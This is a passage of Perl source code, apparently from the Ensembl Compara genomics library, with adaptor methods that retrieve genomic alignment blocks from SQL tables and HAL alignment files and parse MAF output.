$dnafrag->slice->start; my $block_end = defined $end ? $end : $dnafrag->slice->end; return $self->_get_GenomicAlignBlocks_from_HAL( $method_link_species_set, $ref, \@targets, $dnafrag, $block_start, $block_end, $limit_number ); } my $query_method_link_species_set_id = $method_link_species_set->dbID; throw("[$method_link_species_set] has no dbID") if (!$query_method_link_species_set_id); if ($limit_number) { return $self->_fetch_all_by_MethodLinkSpeciesSet_DnaFrag_with_limit($method_link_species_set, $dnafrag, $start, $end, $limit_number, $limit_index_start, $restrict); } $view_visible = 1 if (!defined $view_visible); #Create this here to pass into _create_GenomicAlign module my $genomic_align_adaptor = $self->db->get_GenomicAlignAdaptor; my $sql = qq{ SELECT ga1.genomic_align_id, ga1.genomic_align_block_id, ga1.method_link_species_set_id, ga1.dnafrag_id, ga1.dnafrag_start, ga1.dnafrag_end, ga1.dnafrag_strand, ga1.cigar_line, ga1.visible, ga2.genomic_align_id, gab.score, gab.perc_id, gab.length, gab.group_id, gab.level_id FROM genomic_align ga1, genomic_align_block gab, genomic_align ga2 WHERE ga1.genomic_align_block_id = ga2.genomic_align_block_id AND gab.genomic_align_block_id = ga1.genomic_align_block_id AND ga2.method_link_species_set_id = $query_method_link_species_set_id AND ga2.dnafrag_id = $query_dnafrag_id AND ga2.visible = $view_visible }; if (defined($start) and defined($end)) { my $max_alignment_length = $method_link_species_set->max_alignment_length; my $lower_bound = $start - $max_alignment_length; $sql .= qq{ AND ga2.dnafrag_start <= $end AND ga2.dnafrag_start >= $lower_bound AND ga2.dnafrag_end >= $start }; } my $sth = $self->prepare($sql); $sth->execute(); my $all_genomic_align_blocks; my $genomic_align_groups = {}; my ($genomic_align_id, $genomic_align_block_id, $method_link_species_set_id, $dnafrag_id, $dnafrag_start, $dnafrag_end, $dnafrag_strand, $cigar_line, $visible, $query_genomic_align_id, $score, $perc_id, $length, $group_id, $level_id,); $sth->bind_columns(\$genomic_align_id, \$genomic_align_block_id, \$method_link_species_set_id, \$dnafrag_id, \$dnafrag_start, \$dnafrag_end, \$dnafrag_strand, \$cigar_line, \$visible, \$query_genomic_align_id, \$score, \$perc_id, \$length, \$group_id, \$level_id); while ($sth->fetch) { ## Index GenomicAlign by ga2.genomic_align_id ($query_genomic_align). All the GenomicAlign ## with the same ga2.genomic_align_id correspond to the same GenomicAlignBlock. if (!defined($all_genomic_align_blocks->{$query_genomic_align_id})) { # Lazy loading of genomic_align_blocks. All remaining attributes are loaded on demand. $all_genomic_align_blocks->{$query_genomic_align_id} = new Bio::EnsEMBL::Compara::GenomicAlignBlock( -adaptor => $self, -dbID => $genomic_align_block_id, -method_link_species_set_id => $method_link_species_set_id, -score => $score, -perc_id => $perc_id, -length => $length, -group_id => $group_id, -reference_genomic_align_id => $query_genomic_align_id, -level_id => $level_id, ); push(@$genomic_align_blocks, $all_genomic_align_blocks->{$query_genomic_align_id}); } # # # ## Avoids to create 1 GenomicAlignGroup object per composite segment (see below) # # # next if ($genomic_align_groups->{$query_genomic_align_id}->{$genomic_align_id}); my $this_genomic_align = $self->_create_GenomicAlign($genomic_align_id, $genomic_align_block_id, $method_link_species_set_id, $dnafrag_id, $dnafrag_start, $dnafrag_end, $dnafrag_strand, $cigar_line, $visible, $genomic_align_adaptor); # # # ## Set the flag to avoid creating 1 GenomicAlignGroup object per composite segment # # # if ($this_genomic_align->isa("Bio::EnsEMBL::Compara::GenomicAlignGroup")) { # # # foreach my $this_genomic_align (@{$this_genomic_align->genomic_align_array}) { # # # $genomic_align_groups->{$query_genomic_align_id}->{$this_genomic_align->dbID} = 1; # # # } # # # } $all_genomic_align_blocks->{$query_genomic_align_id}->add_GenomicAlign($this_genomic_align); } foreach my $this_genomic_align_block (@$genomic_align_blocks) { my $ref_genomic_align = $this_genomic_align_block->reference_genomic_align; if ($ref_genomic_align->cigar_line =~ /X/) { # The reference GenomicAlign is part of a composite segment. We have to restrict it $this_genomic_align_block = $this_genomic_align_block->restrict_between_reference_positions( $ref_genomic_align->dnafrag_start, $ref_genomic_align->dnafrag_end, undef, "skip_empty_genomic_aligns"); } } if (defined($start) and defined($end) and $restrict) { my $restricted_genomic_align_blocks = []; foreach my $this_genomic_align_block (@$genomic_align_blocks) { $this_genomic_align_block = $this_genomic_align_block->restrict_between_reference_positions( $start, $end, undef, "skip_empty_genomic_aligns"); if (@{$this_genomic_align_block->get_all_GenomicAligns()} > 1) { push(@$restricted_genomic_align_blocks, $this_genomic_align_block); } } $genomic_align_blocks = $restricted_genomic_align_blocks; } if (!$self->lazy_loading) { $self->_load_DnaFrags($genomic_align_blocks); } return $genomic_align_blocks; } =head2 _fetch_all_by_MethodLinkSpeciesSet_DnaFrag_with_limit This is an internal method. Please, use the fetch_all_by_MethodLinkSpeciesSet_DnaFrag() method instead. Arg 1 : Bio::EnsEMBL::Compara::MethodLinkSpeciesSet $method_link_species_set Arg 2 : Bio::EnsEMBL::Compara::DnaFrag $dnafrag Arg 3 : integer $start [optional] Arg 4 : integer $end [optional] Arg 5 : integer $limit_number Arg 6 : integer $limit_index_start [optional, default = 0] Arg 7 : boolean $restrict_resulting_blocks [optional, default = no restriction] Example : my $genomic_align_blocks = $genomic_align_block_adaptor->_fetch_all_by_MethodLinkSpeciesSet_DnaFrag_with_limit( $mlss, $dnafrag, 50000000, 50250000); Description: Retrieve the corresponding Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Objects Returntype : ref. to an array of Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Only dbID, adaptor and method_link_species_set are actually stored in the objects. The remaining attributes are only retrieved when requiered. Exceptions : Returns ref. to an empty array if no matching Bio::EnsEMBL::Compara::GenomicAlignBlock object can be retrieved Caller : fetch_all_by_MethodLinkSpeciesSet_DnaFrag Status : Stable =cut sub _fetch_all_by_MethodLinkSpeciesSet_DnaFrag_with_limit { my ($self, $method_link_species_set, $dnafrag, $start, $end, $limit_number, $limit_index_start, $restrict) = @_; my $genomic_align_blocks = []; # returned object my $dnafrag_id = $dnafrag->dbID; my $method_link_species_set_id = $method_link_species_set->dbID; my $sql = qq{ SELECT ga2.genomic_align_block_id, ga2.genomic_align_id FROM genomic_align ga2 WHERE ga2.method_link_species_set_id = $method_link_species_set_id AND ga2.dnafrag_id = $dnafrag_id }; if (defined($start) and defined($end)) { my $max_alignment_length = $method_link_species_set->max_alignment_length; my $lower_bound = $start - $max_alignment_length; $sql .= qq{ AND ga2.dnafrag_start <= $end AND ga2.dnafrag_start >= $lower_bound AND ga2.dnafrag_end >= $start }; } $limit_index_start = 0 if (!$limit_index_start); $sql .= qq{ LIMIT $limit_index_start , $limit_number }; my $sth = $self->prepare($sql); $sth->execute(); while (my ($genomic_align_block_id, $query_genomic_align_id) = $sth->fetchrow_array) { # Lazy loading of genomic_align_blocks. All remaining attributes are loaded on demand. my $this_genomic_align_block = new Bio::EnsEMBL::Compara::GenomicAlignBlock( -adaptor => $self, -dbID => $genomic_align_block_id, -method_link_species_set_id => $method_link_species_set_id, -reference_genomic_align_id => $query_genomic_align_id, ); push(@$genomic_align_blocks, $this_genomic_align_block); } if (defined($start) and defined($end) and $restrict) { my $restricted_genomic_align_blocks = []; foreach my $this_genomic_align_block (@$genomic_align_blocks) { $this_genomic_align_block = $this_genomic_align_block->restrict_between_reference_positions( $start, $end, undef, "skip_empty_genomic_aligns"); if (@{$this_genomic_align_block->get_all_GenomicAligns()} > 1) { push(@$restricted_genomic_align_blocks, $this_genomic_align_block); } } $genomic_align_blocks = $restricted_genomic_align_blocks; } return $genomic_align_blocks; } sub _has_alignment_for_region { my ($self, $method_link_species_set_id, $species1, $region_name1, $start, $end, $species2, $region_name2) = @_; my $genome_db1 = $self->db->get_GenomeDBAdaptor->fetch_by_name_assembly($species1); my $dnafrag1 = $self->db->get_DnaFragAdaptor->fetch_by_GenomeDB_and_name($genome_db1, $region_name1); my $genome_db2 = $self->db->get_GenomeDBAdaptor->fetch_by_name_assembly($species2); my $dnafrag2 = $self->db->get_DnaFragAdaptor->fetch_by_GenomeDB_and_name($genome_db2, $region_name2); my $method_link_species_set = $self->db->get_MethodLinkSpeciesSetAdaptor->fetch_by_dbID($method_link_species_set_id); if ( $method_link_species_set->method->type eq 'CACTUS_HAL' ) { #return $self->fetch_all_by_MethodLinkSpeciesSet_Slice( $method_link_species_set, $dnafrag->slice ); my $ref = $dnafrag1->genome_db; my @targets = ( $dnafrag2->genome_db ); my $block_start = defined $start ? $start : $dnafrag1->slice->start; my $block_end = defined $end ? $end : $dnafrag1->slice->end; my $alns = $self->_get_GenomicAlignBlocks_from_HAL( $method_link_species_set, $ref, \@targets, $dnafrag1, $block_start, $block_end, 1, $dnafrag2 ); return scalar(@$alns); } my $dnafrag_id1 = $dnafrag1->dbID; my $dnafrag_id2 = $dnafrag2->dbID; throw("[$method_link_species_set_id] has no dbID") if (!$method_link_species_set_id); my $sql = qq{ SELECT 1 FROM genomic_align ga1, genomic_align ga2 WHERE ga1.genomic_align_block_id = ga2.genomic_align_block_id AND ga1.genomic_align_id != ga2.genomic_align_id AND ga2.method_link_species_set_id = $method_link_species_set_id AND ga1.dnafrag_id = $dnafrag_id1 AND ga2.dnafrag_id = $dnafrag_id2 }; if (defined($start) and defined($end)) { my $max_alignment_length = $method_link_species_set->max_alignment_length; my $lower_bound = $start - $max_alignment_length; $sql .= qq{ AND ga1.dnafrag_start <= $end AND ga1.dnafrag_start >= $lower_bound AND ga1.dnafrag_end >= $start }; } $sql .= qq{ LIMIT 1}; my $sth = $self->prepare($sql); $sth->execute(); my ($found) = $sth->fetchrow_array; $sth->finish; return $found; } =head2 _alignment_coordinates_on_regions Arg[1] : int $method_link_species_set_id dbID of the alignment Arg[2] : int $dnafrag_id1 Coordinates on the first species Arg[3] : int $dnafrag_start1 -- Arg[4] : int $dnafrag_end1 -- Arg[5] : int $dnafrag_id2 Coordinates on the second species Arg[6] : int $dnafrag_start2 -- Arg[7] : int $dnafrag_end2 -- Arg[8] : Str $custom_select Use custom SQL SELECT statement Example : $gab_adaptor->_alignment_coordinates_on_regions(); Description : Quick method to retrieve the coordinates of the blocks overlapping the coordinates of both species Returntype : Arrayref of the block coordinates [$start1, $end1, $start2, $end2] Exceptions : none Caller : internal =cut sub _alignment_coordinates_on_regions { my ($self, $method_link_species_set_id, $dnafrag_id1, $dnafrag_start1, $dnafrag_end1, $dnafrag_id2, $dnafrag_start2, $dnafrag_end2, $custom_select) = @_; my $method_link_species_set = $self->db->get_MethodLinkSpeciesSetAdaptor->fetch_by_dbID($method_link_species_set_id); if ( $method_link_species_set->method->type eq 'CACTUS_HAL' ) { # Fetch all the blocks (no filtering on dnafrag2 because the API would return very fragmented blocks) my $dnafrag1 = $self->db->get_DnaFragAdaptor->fetch_by_dbID($dnafrag_id1); my $dnafrag2 = $self->db->get_DnaFragAdaptor->fetch_by_dbID($dnafrag_id2); my $blocks = $self->_get_GenomicAlignBlocks_from_HAL( $method_link_species_set, $dnafrag1->genome_db, [ $dnafrag2->genome_db ], $dnafrag1, $dnafrag_start1, $dnafrag_end1 ); # Extract the coordinates and filter on the second species my @coords; foreach my $gab (@$blocks) { my $ga2 = $gab->get_all_non_reference_genomic_aligns->[0]; if ($ga2->dnafrag_id == $dnafrag_id2 && $ga2->dnafrag_end >= $dnafrag_start2 && $ga2->dnafrag_start <= $dnafrag_end2) { my $ga1 = $gab->reference_genomic_align; push @coords, [$ga1->dnafrag_start, $ga1->dnafrag_end, $ga2->dnafrag_start, $ga2->dnafrag_end]; } } return \@coords; } my $max_align = $method_link_species_set->max_alignment_length; my $select = $custom_select ? $custom_select : 'ga1.dnafrag_start, ga1.dnafrag_end, ga2.dnafrag_start, ga2.dnafrag_end'; my $sql = "SELECT $select " . 'FROM genomic_align ga1 JOIN genomic_align ga2 USING (genomic_align_block_id) ' . 'WHERE ga1.method_link_species_set_id = ? AND ga1.dnafrag_id = ? AND ga2.dnafrag_id = ? ' . 'AND ga1.genomic_align_id != ga2.genomic_align_id ' . 'AND ga1.dnafrag_start <= ? AND ga1.dnafrag_start >= ? AND ga1.dnafrag_end >= ? ' . 'AND ga2.dnafrag_start <= ? AND ga2.dnafrag_start >= ? AND ga2.dnafrag_end >= ? ' ; my $sth = $self->dbc->prepare($sql); $sth->execute($method_link_species_set_id, $dnafrag_id1, $dnafrag_id2, $dnafrag_end1, $dnafrag_start1-$max_align, $dnafrag_start1, $dnafrag_end2, $dnafrag_start2-$max_align, $dnafrag_start2, ); my $rows = $sth->fetchall_arrayref; $sth->finish; return $rows; } =head2 fetch_all_by_MethodLinkSpeciesSet_DnaFrag_DnaFrag Arg 1 : Bio::EnsEMBL::Compara::MethodLinkSpeciesSet $method_link_species_set Arg 2 : Bio::EnsEMBL::Compara::DnaFrag $dnafrag (query) Arg 3 : integer $start [optional] Arg 4 : integer $end [optional] Arg 5 : Bio::EnsEMBL::Compara::DnaFrag $dnafrag (target) Arg 6 : integer $limit_number [optional] Arg 7 : integer $limit_index_start [optional] Example : my $genomic_align_blocks = $genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet_DnaFrag_DnaFrag( $mlss, $qy_dnafrag, 50000000, 50250000,$tg_dnafrag); Description: Retrieve the corresponding Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Returntype : ref. to an array of Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Exceptions : Returns ref. to an empty array if no matching Bio::EnsEMBL::Compara::GenomicAlignBlock object can be retrieved Caller : none Status : Stable =cut sub fetch_all_by_MethodLinkSpeciesSet_DnaFrag_DnaFrag { my ($self, $method_link_species_set, $dnafrag1, $start, $end, $dnafrag2, $limit_number, $limit_index_start) = @_; my $genomic_align_blocks = []; # returned object assert_ref($dnafrag1, 'Bio::EnsEMBL::Compara::DnaFrag', 'dnafrag1'); assert_ref($dnafrag2, 'Bio::EnsEMBL::Compara::DnaFrag', 'dnafrag2'); assert_ref($method_link_species_set, 'Bio::EnsEMBL::Compara::MethodLinkSpeciesSet', 'method_link_species_set'); if ( $method_link_species_set->method->type eq 'CACTUS_HAL' ) { #return $self->fetch_all_by_MethodLinkSpeciesSet_Slice( $method_link_species_set, $dnafrag->slice ); my $ref = $dnafrag1->genome_db; my @targets = ( $dnafrag2->genome_db ); my $block_start = defined $start ? $start : $dnafrag1->slice->start; my $block_end = defined $end ? $end : $dnafrag1->slice->end; return $self->_get_GenomicAlignBlocks_from_HAL( $method_link_species_set, $ref, \@targets, $dnafrag1, $block_start, $block_end, $limit_number, $dnafrag2 ); } my $dnafrag_id1 = $dnafrag1->dbID; my $dnafrag_id2 = $dnafrag2->dbID; my $method_link_species_set_id = $method_link_species_set->dbID; throw("[$method_link_species_set_id] has no dbID") if (!$method_link_species_set_id); #Create this here to pass into _create_GenomicAlign module my $genomic_align_adaptor = $self->db->get_GenomicAlignAdaptor; my $sql = qq{ SELECT ga1.genomic_align_id, ga1.genomic_align_block_id, ga1.method_link_species_set_id, ga1.dnafrag_id, ga1.dnafrag_start, ga1.dnafrag_end, ga1.dnafrag_strand, ga1.cigar_line, ga1.visible, ga2.genomic_align_id, ga2.genomic_align_block_id, ga2.method_link_species_set_id, ga2.dnafrag_id, ga2.dnafrag_start, ga2.dnafrag_end, ga2.dnafrag_strand, ga2.cigar_line, ga2.visible FROM genomic_align ga1, genomic_align ga2 WHERE ga1.genomic_align_block_id = ga2.genomic_align_block_id AND ga1.genomic_align_id != ga2.genomic_align_id AND ga2.method_link_species_set_id = $method_link_species_set_id AND ga1.dnafrag_id = $dnafrag_id1 AND ga2.dnafrag_id = $dnafrag_id2 }; if (defined($start) and defined($end)) { my $max_alignment_length = $method_link_species_set->max_alignment_length; my $lower_bound = $start - $max_alignment_length; $sql .= qq{ AND ga1.dnafrag_start <= $end AND ga1.dnafrag_start >= $lower_bound AND ga1.dnafrag_end >= $start }; } if ($limit_number && $limit_index_start) { $sql .= qq{ LIMIT $limit_index_start , $limit_number }; } elsif ($limit_number) { $sql .= qq{ LIMIT $limit_number }; } my $sth = $self->prepare($sql); $sth->execute(); my $all_genomic_align_blocks; while (my ($genomic_align_id1, $genomic_align_block_id1, $method_link_species_set_id1, $dnafrag_id1, $dnafrag_start1, $dnafrag_end1, $dnafrag_strand1, $cigar_line1, $visible1, $genomic_align_id2, $genomic_align_block_id2, $method_link_species_set_id2, $dnafrag_id2, $dnafrag_start2, $dnafrag_end2, $dnafrag_strand2, $cigar_line2, $visible2) = $sth->fetchrow_array) { ## Skip if this genomic_align_block has been defined already next if (defined($all_genomic_align_blocks->{$genomic_align_block_id1})); $all_genomic_align_blocks->{$genomic_align_block_id1} = 1; my $gab = new Bio::EnsEMBL::Compara::GenomicAlignBlock (-adaptor => $self, -dbID => $genomic_align_block_id1, -method_link_species_set_id => $method_link_species_set_id1, -reference_genomic_align_id => $genomic_align_id1); # If set up, lazy loading of genomic_align unless ($self->lazy_loading) { ## Create a Bio::EnsEMBL::Compara::GenomicAlign corresponding to ga1.* my $this_genomic_align1 = $self->_create_GenomicAlign($genomic_align_id1, $genomic_align_block_id1, $method_link_species_set_id1, $dnafrag_id1, $dnafrag_start1, $dnafrag_end1, $dnafrag_strand1, $cigar_line1, $visible1, $genomic_align_adaptor); ## ... attach it to the corresponding Bio::EnsEMBL::Compara::GenomicAlignBlock $gab->add_GenomicAlign($this_genomic_align1); ## Create a Bio::EnsEMBL::Compara::GenomicAlign correponding to ga2.* my $this_genomic_align2 = $self->_create_GenomicAlign($genomic_align_id2, $genomic_align_block_id2, $method_link_species_set_id2, $dnafrag_id2, $dnafrag_start2, $dnafrag_end2, $dnafrag_strand2, $cigar_line2, $visible2, $genomic_align_adaptor); ## ... attach it to the corresponding Bio::EnsEMBL::Compara::GenomicAlignBlock $gab->add_GenomicAlign($this_genomic_align2); } push(@$genomic_align_blocks, $gab); } return $genomic_align_blocks; } =head2 retrieve_all_direct_attributes Arg 1 : Bio::EnsEMBL::Compara::GenomicAlignBlock $genomic_align_block Example : $genomic_align_block_adaptor->retrieve_all_direct_attributes($genomic_align_block) Description: Retrieve the all the direct attibutes corresponding to the dbID of the Bio::EnsEMBL::Compara::GenomicAlignBlock object. It is used after lazy fetching of the object for populating it when required. Returntype : Bio::EnsEMBL::Compara::GenomicAlignBlock object Exceptions : Caller : none Status : Stable =cut sub retrieve_all_direct_attributes { my ($self, $genomic_align_block) = @_; my $sql = qq{ SELECT method_link_species_set_id, score, perc_id, length, group_id, level_id FROM genomic_align_block WHERE genomic_align_block_id = ? }; my $sth = $self->prepare($sql); $sth->execute($genomic_align_block->dbID); my ($method_link_species_set_id, $score, $perc_id, $length, $group_id, $level_id) = $sth->fetchrow_array(); $sth->finish(); ## Populate the object $genomic_align_block->adaptor($self); $genomic_align_block->method_link_species_set_id($method_link_species_set_id) if (defined($method_link_species_set_id)); $genomic_align_block->score($score) if (defined($score)); $genomic_align_block->perc_id($perc_id) if (defined($perc_id)); $genomic_align_block->length($length) if (defined($length)); $genomic_align_block->group_id($group_id) if (defined($group_id)); $genomic_align_block->level_id($level_id) if (defined($level_id)); return $genomic_align_block; } =head2 store_group_id Arg 1 : reference to Bio::EnsEMBL::Compara::GenomicAlignBlock Arg 2 : group_id Example : $genomic_align_block_adaptor->store_group_id($genomic_align_block, $group_id); Description: Method for storing the group_id for a genomic_align_block Returntype : Exceptions : - cannot lock tables - cannot update GenomicAlignBlock object Caller : none Status : Stable =cut sub store_group_id { my ($self, $genomic_align_block, $group_id) = @_; my $sth = $self->prepare("UPDATE genomic_align_block SET group_id=? WHERE genomic_align_block_id=?;"); $sth->execute($group_id, $genomic_align_block->dbID); $sth->finish(); } =head2 lazy_loading [Arg 1] : (optional)int $value Example : $genomic_align_block_adaptor->lazy_loading(1); Description: Getter/setter for the _lazy_loading flag. This flag is used when fetching objects from the database. If the flag is OFF (default), the adaptor will fetch the all the attributes of the object. This is usually faster unless you run in some memory limitation problem. This happens typically when fetching loads of objects in one go.In this case you might want to consider using the lazy_loading option which return lighter objects and deleting objects as you use them: $gaba->lazy_loading(1); my $all_gabs = $gaba->fetch_all_by_MethodLinkSpeciesSet($mlss); foreach my $this_gab (@$all_gabs) { # do something ... # delete object undef($this_gab); } Returntype : integer Exceptions : Caller : none Status : Stable =cut sub lazy_loading { my ($self, $value) = @_; if (defined $value) { $self->{_lazy_loading} = $value; } return $self->{_lazy_loading}; } =head2 _create_GenomicAlign [Arg 1] : int genomic_align_id [Arg 2] : int genomic_align_block_id [Arg 3] : int method_link_species_set_id [Arg 4] : int dnafrag_id [Arg 5] : int dnafrag_start [Arg 6] : int dnafrag_end [Arg 7] : int dnafrag_strand [Arg 8] : string cigar_line [Arg 9] : int visible Example : my $this_genomic_align1 = $self->_create_GenomicAlign( $genomic_align_id, $genomic_align_block_id, $method_link_species_set_id, $dnafrag_id, $dnafrag_start, $dnafrag_end, $dnafrag_strand, $cigar_line, $visible); Description: Creates a new Bio::EnsEMBL::Compara::GenomicAlign object with the values provided as arguments. If this GenomicAlign is part of a composite GenomicAlign, the method will return a Bio::EnsEMBL::Compara::GenomicAlignGroup containing all the underlying Bio::EnsEMBL::Compara::GenomicAlign objects instead Returntype : Bio::EnsEMBL::Compara::GenomicAlign object or Bio::EnsEMBL::Compara::GenomicAlignGroup object Exceptions : Caller : internal Status : stable =cut sub _create_GenomicAlign { my ($self, $genomic_align_id, $genomic_align_block_id, $method_link_species_set_id, $dnafrag_id, $dnafrag_start, $dnafrag_end, $dnafrag_strand, $cigar_line, $visible, $adaptor) = @_; my $new_genomic_align = Bio::EnsEMBL::Compara::GenomicAlign->new_fast ({'dbID' => $genomic_align_id, 'adaptor' => $adaptor, 'genomic_align_block_id' => $genomic_align_block_id, 'method_link_species_set_id' => $method_link_species_set_id, 'dnafrag_id' => $dnafrag_id, 'dnafrag_start' => $dnafrag_start, 'dnafrag_end' => $dnafrag_end, 'dnafrag_strand' => $dnafrag_strand, 'cigar_line' => $cigar_line, 'visible' => $visible} ); return $new_genomic_align; } =head2 _load_DnaFrags [Arg 1] : listref Bio::EnsEMBL::Compara::GenomicAlignBlock objects Example : $self->_load_DnaFrags($genomic_align_blocks); Description: Load the DnaFrags for all the GenomicAligns in these GenomicAlignBlock objects. This is much faster, especially for a large number of objects, as we fetch all the DnaFrags at once. Note: These DnaFrags are not cached by the DnaFragAdaptor at the moment Returntype : -none- Exceptions : Caller : fetch_all_* methods Status : at risk =cut sub _load_DnaFrags { my ($self, $genomic_align_blocks) = @_; # 1. Collect all the dnafrag_ids my $dnafrag_ids = {}; foreach my $this_genomic_align_block (@$genomic_align_blocks) { foreach my $this_genomic_align (@{$this_genomic_align_block->get_all_GenomicAligns}) { $dnafrag_ids->{$this_genomic_align->{dnafrag_id}} = 1; } } # 2. Fetch all the DnaFrags my %dnafrags = map {$_->{dbID}, $_} @{$self->db->get_DnaFragAdaptor->fetch_all_by_dbID_list([keys %$dnafrag_ids])}; # 3. Assign the DnaFrags to the GenomicAligns foreach my $this_genomic_align_block (@$genomic_align_blocks) { foreach my $this_genomic_align (@{$this_genomic_align_block->get_all_GenomicAligns}) { $this_genomic_align->{'dnafrag'} = $dnafrags{$this_genomic_align->{dnafrag_id}}; } } } =head2 _get_GenomicAlignBlocks_from_HAL =cut sub _get_GenomicAlignBlocks_from_HAL { my ($self, $mlss, $ref_gdb, $targets_gdb, $dnafrag, $start, $end, $limit, $target_dnafrag) = @_; my @gabs = (); my $dnafrag_adaptor = $self->db->get_DnaFragAdaptor; my $genome_db_adaptor = $self->db->get_GenomeDBAdaptor; unless (defined $mlss->{'_hal_species_name_mapping'}) { # Since pairwise HAL MLSSs are just proxies, find the overall MLSS my $mlss_with_mapping = $mlss; if (my $alt_mlss_id = $mlss->get_value_for_tag('alt_hal_mlss')) { my $mlss_adaptor = $mlss->adaptor || $self->db->get_MethodLinkSpeciesSetAdaptor; $mlss_with_mapping = $mlss_adaptor->fetch_by_dbID($alt_mlss_id); } # Load the chromosome-names mapping Bio::EnsEMBL::Compara::HAL::UCSCMapping::load_mapping_from_mlss($mlss_with_mapping); # Load the genome-names mapping my $species_map = {}; if (my $map_tag = $mlss_with_mapping->get_value_for_tag('HAL_mapping')) { # Will contain more species than needed in case of a pairwise HAL MLSS $species_map = eval $map_tag; } # Make sure that all the genomes that are needed for this MLSS are represented foreach my $genome_db (@{$mlss->species_set->genome_dbs}) { $species_map->{$genome_db->dbID} ||= $genome_db->name; # By default we assume the HAL file is using the production names } my %hal_species_map = reverse %$species_map; $mlss->{'_hal_species_name_mapping'} = $species_map; $mlss->{'_hal_species_name_mapping_reverse'} = \%hal_species_map; } require Bio::EnsEMBL::Compara::HAL::HALXS::HALAdaptor; my $ref = $mlss->{'_hal_species_name_mapping'}->{ $ref_gdb->dbID }; unless ($mlss->{'_hal_adaptor'}) { my $hal_file = $mlss->url; # Substitution automatically done in the MLSS object throw( "Path to file not found in MethodLinkSpeciesSet URL field\n" ) unless ( defined $hal_file ); $mlss->{'_hal_adaptor'} = Bio::EnsEMBL::Compara::HAL::HALXS::HALAdaptor->new($hal_file); } my $hal_adaptor = $mlss->{'_hal_adaptor'}; my $e2u_mappings = $Bio::EnsEMBL::Compara::HAL::UCSCMapping::e2u_mappings->{ $dnafrag->genome_db_id }; my $hal_seq_reg = $e2u_mappings->{ $dnafrag->name } || $dnafrag->name; my $num_targets = scalar @$targets_gdb; my $id_base = $mlss->dbID * 10000000000; my ($gab_id_count, $ga_id_count) = (0, 0); my $min_gab_len = !$mlss->has_tag('no_filter_small_blocks') && int(abs($end-$start)/1000); my $min_ga_len = !$mlss->has_tag('no_filter_small_blocks') && $min_gab_len/4; if ( !$target_dnafrag or ($num_targets > 1) ){ # multiple sequence alignment, or unfiltered pairwise alignment my @hal_targets = map { $mlss->{'_hal_species_name_mapping'}->{ $_->dbID } } @$targets_gdb; shift @hal_targets unless ( defined $hal_targets[0] ); my $targets_str = join(',', @hal_targets); # Default values for Ensembl my $max_ref_gap = $num_targets > 1 ? 500 : 50; my $max_block_length = $num_targets > 1 ? 1_000_000 : 500_000; my $maf_file_str = $hal_adaptor->msa_blocks( $targets_str, $ref, $hal_seq_reg, $start-1, $end, $max_ref_gap, $max_block_length ); # check if MAF is empty unless ( $maf_file_str =~ m/[A-Za-z]/ ){ warn "!! MAF is empty !!\n"; return []; } # use open ':encoding(iso-8859-7)'; open( my $maf_fh, '<', \$maf_file_str) or die "Can't open MAF file in memory"; my @maf_lines = <$maf_fh>; close($maf_fh); my $maf_info = $self->_parse_maf( \@maf_lines ); for my $aln_block ( @$maf_info ) { my $duplicates_found = 0; my %species_found; my $block_len = $aln_block->[0]->{length}; next if ( $block_len <= $min_gab_len ); my $gab = new Bio::EnsEMBL::Compara::GenomicAlignBlock( -length => $block_len, -method_link_species_set => $mlss, -adaptor => $self, # -dbID => $id_base + $gab_id_count, ); $gab->reference_slice_strand( $dnafrag->slice->strand ); $gab_id_count++; my $ga_adaptor = $self->db->get_GenomicAlignAdaptor; my (@genomic_align_array, $ref_genomic_align); foreach my $seq (@$aln_block) { # find dnafrag for the region my ( $species_id, $chr ) = split(/\./, $seq->{display_id}, 2); my $this_gdb = $genome_db_adaptor->fetch_by_dbID( $mlss->{'_hal_species_name_mapping_reverse'}->{$species_id} ); my $u2e_mappings = $Bio::EnsEMBL::Compara::HAL::UCSCMapping::u2e_mappings->{ $this_gdb->dbID }; my $df_name = $u2e_mappings->{$chr} || $chr; my $this_dnafrag = $dnafrag_adaptor->fetch_by_GenomeDB_and_name($this_gdb, $df_name); die "Could not find a DnaFrag named '$df_name' for species '".$this_gdb->name."' ($species_id)" unless ( defined $this_dnafrag ); # when fetching by slice, input slice will be set as $dnafrag->slice, complete with start and end positions # this can mess up subslicing down the line - reset it and it will be pulled fresh from the db $this_dnafrag->{'_slice'} = undef; if ( $this_dnafrag->length < $seq->{end} ) { $self->warning('Ommitting ' . $this_gdb->name . ' from GenomicAlignBlock. Alignment position does not fall within the length of the chromosome'); next; } # check length of genomic align meets threshold next if abs( $seq->{end} - $seq->{start} + 1) < $min_ga_len; if ( !$duplicates_found ){ my $species_name = $this_dnafrag->genome_db->name; if ( $species_found{$species_name} ){ $duplicates_found = 1; } else { $species_found{$species_name} = 1; } } # create cigar line my $this_cigar = Bio::EnsEMBL::Compara::Utils::Cigars::cigar_from_alignment_string($seq->{seq}); my $genomic_align = new Bio::EnsEMBL::Compara::GenomicAlign( -genomic_align_block => $gab, -aligned_sequence => $seq->{seq}, -dnafrag => $this_dnafrag, -dnafrag_start => $seq->{start}, -dnafrag_end => $seq->{end}, -dnafrag_strand => $seq->{strand}, -cigar_line => $this_cigar, # -dbID => $id_base + $ga_id_count, -visible => 1, -adaptor => $ga_adaptor, ); $genomic_align->cigar_line($this_cigar); $genomic_align->aligned_sequence( $seq->{seq} ); $genomic_align->genomic_align_block( $gab ); $genomic_align->method_link_species_set($mlss); $genomic_align->dbID( join('-', $this_dnafrag->genome_db->dbID, $this_dnafrag->dbID, $genomic_align->dnafrag_start, $genomic_align->dnafrag_end) ); push( @genomic_align_array, $genomic_align ); $ref_genomic_align = $genomic_align if ( $this_gdb->dbID == $ref_gdb->dbID ); $ga_id_count++; } next if ( scalar(@genomic_align_array) < 2 || !defined $ref_genomic_align ); $gab->reference_genomic_align($ref_genomic_align); $gab->dbID($ref_genomic_align->dbID); foreach my $ga ( @genomic_align_array ) { $ga->genomic_align_block_id( $gab->dbID ); } $gab->genomic_align_array(\@genomic_align_array); # check for duplicate species if ( $duplicates_found ) { ## e87 HACK ## my $resolved_gab = $self->_resolve_duplicates( $gab, $min_gab_len ); push( @gabs, $resolved_gab ); $gab_id_count++; ############## # my $split_gabs = $self->_split_genomic_aligns( $gab, $min_gab_len ); # foreach my $this_gab ( @$split_gabs ) { # $this_gab->adaptor($self); # 